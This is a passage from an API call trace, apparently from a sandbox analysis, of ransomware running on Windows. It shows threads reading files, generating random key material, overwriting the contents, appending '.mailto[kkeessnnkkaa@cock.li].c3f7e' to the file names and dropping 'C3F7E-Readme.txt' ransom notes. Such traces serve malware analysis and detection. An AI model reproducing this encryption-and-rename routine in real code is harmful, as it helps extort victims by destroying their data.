	[0075.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\c3f7e-readme.txt")) returned 0x20
	[0075.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a038) returned 1

Thread:
	id = 180
	os_tid = 0x1150

	[0075.463] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0075.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.467] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.467] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x988f900 | out: lpFileSize=0x988f900*=8876) returned 1
	[0075.468] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x22a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.468] ReadFile (in: hFile=0x984, lpBuffer=0x988f884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x988f880, lpOverlapped=0x0 | out: lpBuffer=0x988f884*, lpNumberOfBytesRead=0x988f880*=0x4, lpOverlapped=0x0) returned 1
	[0075.473] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0075.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.473] NtQuerySystemTime (in: CurrentTime=0x988f860 | out: CurrentTime=0x988f860*=132251868022158839) returned 0x0
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x2f07632e
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x6fe479f0
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xac4226c7
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xa42adf7d
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x46700f7d
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xc610a155
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xa03e2831
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x2b147b72
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x50915315
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x33ba74bd
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x6135ce6d
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xca42f5f4
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x6e3cec73
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xbfdd577c
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xb0378c9a
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xcb717ff4
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x387eec25
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xd075f3b3
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xdd5c0b49
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x58a6ff08
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xa6e4c8ea
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xc1b54f04
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xed1cecb6
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xfaf7eefb
	[0075.473] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xfc901f35
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x7e50ab41
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x35440fe6
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x36d9391d
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x79403d29
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x36fffa67
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0x47037d44
	[0075.474] RtlRandom (in: Seed=0x988f86c | out: Seed=0x988f86c) returned 0xdd639882
	[0075.482] ReadFile (in: hFile=0x984, lpBuffer=0x4865838, nNumberOfBytesToRead=0x22ac, lpNumberOfBytesRead=0x988f85c, lpOverlapped=0x0 | out: lpBuffer=0x4865838*, lpNumberOfBytesRead=0x988f85c*=0x22ac, lpOverlapped=0x0) returned 1
	[0075.484] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.484] WriteFile (in: hFile=0x984, lpBuffer=0x4872040*, nNumberOfBytesToWrite=0x22ac, lpNumberOfBytesWritten=0x988f858, lpOverlapped=0x0 | out: lpBuffer=0x4872040*, lpNumberOfBytesWritten=0x988f858*=0x22ac, lpOverlapped=0x0) returned 1
	[0075.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4872040) returned 1
	[0075.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4865838) returned 1
	[0075.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47f88
	[0075.486] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.486] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x988f8c0, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x988f8c0*=0x101, lpOverlapped=0x0) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0075.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0075.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0075.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.537] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1032\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf"
	[0075.537] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.537] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x988f878, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.541] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.541] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.541] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x988f884, FileInformation=0x988f85c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x988f884, FileInformation=0x988f85c) returned 0x0
	[0075.541] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x988f884, FileInformation=0x988f85c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.547] FlushFileBuffers (hFile=0x984) returned 1
	[0075.554] CloseHandle (hObject=0x984) returned 1
	[0075.554] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.554] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0075.554] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt"
	[0075.554] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.555] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.558] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x988f880, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x988f880*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.560] CloseHandle (hObject=0x984) returned 1
	[0075.561] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.561] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730c90) returned 1

Thread:
	id = 181
	os_tid = 0x1134

	[0075.485] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0075.540] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988
	[0075.540] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x990f974 | out: lpFileSize=0x990f974*=86284) returned 1
	[0075.540] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x15108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.540] ReadFile (in: hFile=0x988, lpBuffer=0x990f8f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x990f8f4, lpOverlapped=0x0 | out: lpBuffer=0x990f8f8*, lpNumberOfBytesRead=0x990f8f4*=0x4, lpOverlapped=0x0) returned 1
	[0075.542] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f10
	[0075.542] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0075.542] NtQuerySystemTime (in: CurrentTime=0x990f8d4 | out: CurrentTime=0x990f8d4*=132251868022794704) returned 0x0
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xdb158476
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x37f926d6
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xe3aa8248
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xfeedc2ff
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x831352ac
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x2cfccdc6
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x4670198
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x8501c2e1
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x427a1849
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xac16e8cd
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x2a13577e
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x7a6d9287
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xb39064cb
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xe8f5a0e7
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xd94ae58b
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x747d4a49
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x4c30ecc1
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xe401f4c4
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xa2b28b1a
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x2bf26414
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xa8d2cbaa
	[0075.542] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x18d1e71d
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x206bac65
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xe908ce2c
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x89ee00bf
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x4599f566
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xafae6a6d
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x864363b8
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x779b7956
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0xebaf52e6
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x2e8a9edf
	[0075.543] RtlRandom (in: Seed=0x990f8e0 | out: Seed=0x990f8e0) returned 0x2645ec5
	[0075.553] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.553] ReadFile (in: hFile=0x988, lpBuffer=0x4865838, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x990f8b4, lpOverlapped=0x0 | out: lpBuffer=0x4865838*, lpNumberOfBytesRead=0x990f8b4*=0xc800, lpOverlapped=0x0) returned 1
	[0075.555] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.555] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.555] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4872040
	[0075.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0075.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.556] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.556] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.556] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.556] WriteFile (in: hFile=0x988, lpBuffer=0x4872040*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x990f8b4, lpOverlapped=0x0 | out: lpBuffer=0x4872040*, lpNumberOfBytesWritten=0x990f8b4*=0xc800, lpOverlapped=0x0) returned 1
	[0078.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4872040) returned 1
	[0078.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4865838) returned 1
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e3b8
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e460
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34320
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x492d008
	[0078.497] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.497] WriteFile (in: hFile=0x988, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x990f934, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x990f934*=0x113, lpOverlapped=0x0) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e460) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34320) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e3b8) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0078.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0078.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986da0
	[0078.685] wcscpy (in: _Dest=0x4986da0, _Source="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml"
	[0078.685] wcscat (in: _Dest=0x4986da0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x990f8ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ac28
	[0078.685] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0x990f8e4, FileInformation=0x476ac28, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ac28) returned 1
	[0078.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dc48) returned 1
	[0078.738] NtQueryInformationFile (in: FileHandle=0x988, IoStatusBlock=0x990f8f8, FileInformation=0x990f8d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x990f8f8, FileInformation=0x990f8d0) returned 0x0
	[0078.738] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0x990f8f8, FileInformation=0x990f8d0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.739] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986da0) returned 1
	[0078.739] FlushFileBuffers (hFile=0x988) returned 1
	[0080.082] CloseHandle (hObject=0x988) returned 1
	[0080.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.185] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0080.185] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt"
	[0080.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\c3f7e-readme.txt")) returned 0x20
	[0080.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a108) returned 1

Thread:
	id = 182
	os_tid = 0x1154

	[0075.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0075.561] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.562] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x998febc | out: lpFileSize=0x998febc*=3188) returned 1
	[0075.562] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xc70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.562] ReadFile (in: hFile=0x984, lpBuffer=0x998fe40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x998fe3c, lpOverlapped=0x0 | out: lpBuffer=0x998fe40*, lpNumberOfBytesRead=0x998fe3c*=0x4, lpOverlapped=0x0) returned 1
	[0075.563] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0075.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.563] NtQuerySystemTime (in: CurrentTime=0x998fe1c | out: CurrentTime=0x998fe1c*=132251868022940156) returned 0x0
	[0075.563] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x512d5b3
	[0075.563] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x43773c9a
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xdad6a671
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x6d2facd0
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x84ee1111
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x7b294234
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x379f41d2
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x2e333ec9
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x2186dfc9
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x960b38e6
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xce86f8c0
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x32bdbad0
